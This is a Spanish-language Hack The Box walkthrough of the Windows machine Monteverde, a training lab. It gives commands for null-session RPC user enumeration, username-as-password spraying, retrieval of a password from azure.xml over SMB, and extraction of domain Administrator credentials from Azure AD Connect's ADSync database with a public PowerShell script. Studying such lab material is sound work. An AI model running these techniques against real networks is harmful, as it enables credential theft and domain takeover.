Monteverde
Monteverde es una máquina Windows de Hack The Box donde enumeramos usuarios mediante RPC, encontramos una cuenta con usuario y contraseña idénticos, recuperamos credenciales almacenadas en Azure.xml y finalmente abusamos de Azure AD Connect para obtener las credenciales del Administrator del dominio.

- Plataforma
- Hack The Box
- Sistema operativo
- Windows
- Dificultad
- Intermedio
- Publicado
- Autor
- Pedro Vargas
- Temas
- Active Directory
- SMB
- Rpcclient
- Password Spraying
- Smbclient
- Evil WinRM
- Azure AD Connect
- Adsync Az
- MSSQL
En esta página
Resumen
Monteverde es una máquina Windows Medium centrada en Active Directory y Azure AD Connect. Mediante RPC enumeraremos usuarios del dominio y encontraremos una cuenta cuya contraseña coincide con su nombre. Desde SMB recuperaremos azure.xml, que expone otra contraseña reutilizada por mhope. Finalmente, aprovecharemos la instalación de Azure AD Connect / ADSync para recuperar las credenciales del Administrator del dominio.
Enumeración
Comenzamos con nuestro escaneo completo de puertos:
nmap --min-rate 5000 -T5 10.129.228.111 -vvv -sV -p-

Los servicios encontrados corresponden a un entorno Windows con Active Directory.
Como SMB está disponible, comenzamos obteniendo información básica:
nxc smb 10.129.228.111

Identificamos el dominio:
megabank.local
Lo añadimos a nuestro /etc/hosts y comprobamos la configuración:
cat /etc/hosts

Enumeración de usuarios mediante RPC
Intenté diferentes formas de enumerar usuarios desde SMB, pero no estaba obteniendo resultados útiles.
Así que probé con rpcclient utilizando una sesión nula:
rpcclient -U "" 10.129.228.111 -N

Una vez dentro ejecutamos:
enumdomusers
Esta vez sí conseguimos enumerar las cuentas del dominio.
Guardamos los usuarios obtenidos en:
users.txt
Ahora podemos comenzar a probar credenciales.
User = Password
Una prueba sencilla pero que siempre merece la pena realizar es comprobar si algún usuario utiliza su propio nombre como contraseña.
Utilizamos NetExec:
nxc smb 10.129.228.111 -u users.txt -p users.txt --continue-on-success --no-bruteforce
--no-bruteforce es importante aquí porque queremos probar cada usuario con su contraseña correspondiente:
usuario1 → usuario1
usuario2 → usuario2
usuario3 → usuario3
Encontramos:
SABatchJobs:SABatchJobs

🎯 Tenemos nuestra primera cuenta válida.
Enumeración SMB como SABatchJobs
Ahora enumeramos los recursos compartidos:
nxc smb megabank.local -u SABatchJobs -p SABatchJobs --shares

Entre los shares accesibles encontramos:
users$
Nos conectamos:
smbclient //10.129.228.111/users$ -U 'SABatchJobs%SABatchJobs'

Durante la enumeración encontramos un archivo especialmente interesante:
azure.xml
Lo descargamos:
get azure.xml

Y revisamos su contenido:
cat azure.xml

Dentro encontramos una contraseña:
4n0therD4y@n0th3r$
No sabemos necesariamente a qué cuenta pertenece, así que podemos probarla contra nuestra lista de usuarios.
Password Spraying
Ejecutamos:
nxc smb megabank.local -u users.txt -p '4n0therD4y@n0th3r$' --continue-on-success

Encontramos que las credenciales corresponden a:
mhope:4n0therD4y@n0th3r$
Ahora comprobamos si mhope tiene acceso mediante WinRM:
nxc winrm megabank.local -u mhope -p '4n0therD4y@n0th3r$'

NetExec confirma que podemos autenticarnos.
Así que nos conectamos con Evil-WinRM utilizando esas mismas credenciales.
Ya tenemos acceso interactivo al equipo como:
MEGABANK\mhope
Enumeración local
Una vez dentro comenzamos revisando los grupos a los que pertenece nuestra cuenta:
whoami /groups

Entre ellos encontramos uno especialmente interesante:
Azure Admins
Esto es una pista importante.
Además, durante la enumeración del sistema podemos observar componentes relacionados con Microsoft Azure AD Connect, también conocido por su servicio/base de datos de sincronización:
ADSync
Revisamos también las conexiones y puertos locales:
netstat -nto

Encontramos actividad relacionada con:
1433
el puerto utilizado habitualmente por Microsoft SQL Server.
La combinación empieza a resultar bastante interesante:
mhope
↓
Azure Admins
↓
Azure AD Connect instalado
↓
ADSync
↓
SQL Server local
¿Por qué Azure AD Connect es interesante?
Azure AD Connect se utiliza para sincronizar identidades entre un Active Directory local y Azure AD/Microsoft Entra ID.
Para realizar determinadas operaciones de sincronización necesita almacenar información sensible asociada a las cuentas utilizadas por el conector.
Por tanto, si conseguimos acceder a la configuración y a la base de datos de ADSync con los permisos adecuados, podemos intentar recuperar esas credenciales.
En Monteverde se cumplen precisamente las condiciones necesarias para aprovechar este escenario.
Azure-ADConnect.ps1
Para automatizar la extracción utilicé el siguiente script:
https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1

Desde nuestra sesión de Evil-WinRM lo subimos:
upload /opt/AD/Azure-ADConnect.ps1

Una vez transferido, importamos el script:
Import-Module .\Azure-ADConnect.ps1

Podemos comprobar que el módulo se ha cargado utilizando:
Get-Module
Ya tenemos disponible:
Azure-ADConnect
Extrayendo las credenciales de ADSync
Ejecutamos:
Azure-ADConnect -server 127.0.0.1 -db ADSync

Aquí:
-server 127.0.0.1
indica que queremos comunicarnos con la instancia SQL local utilizada por Azure AD Connect.
Y:
-db ADSync
indica la base de datos que contiene la configuración del servicio de sincronización.
El script consulta la información almacenada por Azure AD Connect y aprovecha el contexto de la máquina para descifrar las credenciales protegidas utilizadas por el conector.
El resultado nos entrega unas credenciales extremadamente importantes:
Administrator:d0m@in4dminyeah!
🔥 Tenemos las credenciales del administrador del dominio.
Acceso como Administrator
Ahora simplemente utilizamos las credenciales recuperadas:
evil-winrm -i 10.129.228.111 -u administrator -p 'd0m@in4dminyeah!'

La autenticación funciona.
Comprobamos nuestro usuario y ya tenemos acceso administrativo al Domain Controller.
🚩 ¡Monteverde completada!
Conclusiones
Monteverde comienza con una mala práctica sencilla: SABatchJobs utiliza su propio nombre como contraseña. Desde ahí, azure.xml expone una contraseña reutilizada por mhope, miembro de Azure Admins. Finalmente, la instalación de Azure AD Connect permite extraer las credenciales almacenadas por ADSync y comprometer al Administrator del dominio.
Herramientas utilizadas
- Nmap
- NetExec
- rpcclient
- smbclient
- Evil-WinRM
- PowerShell
- Azure-ADConnect.ps1
Referencias
- Azure-ADConnect.ps1: https://github.com/Hackplayers/PsCabesha-tools/blob/master/Privesc/Azure-ADConnect.ps1
- Resolución en directo: https://www.youtube.com/live/oEP18d952mQ


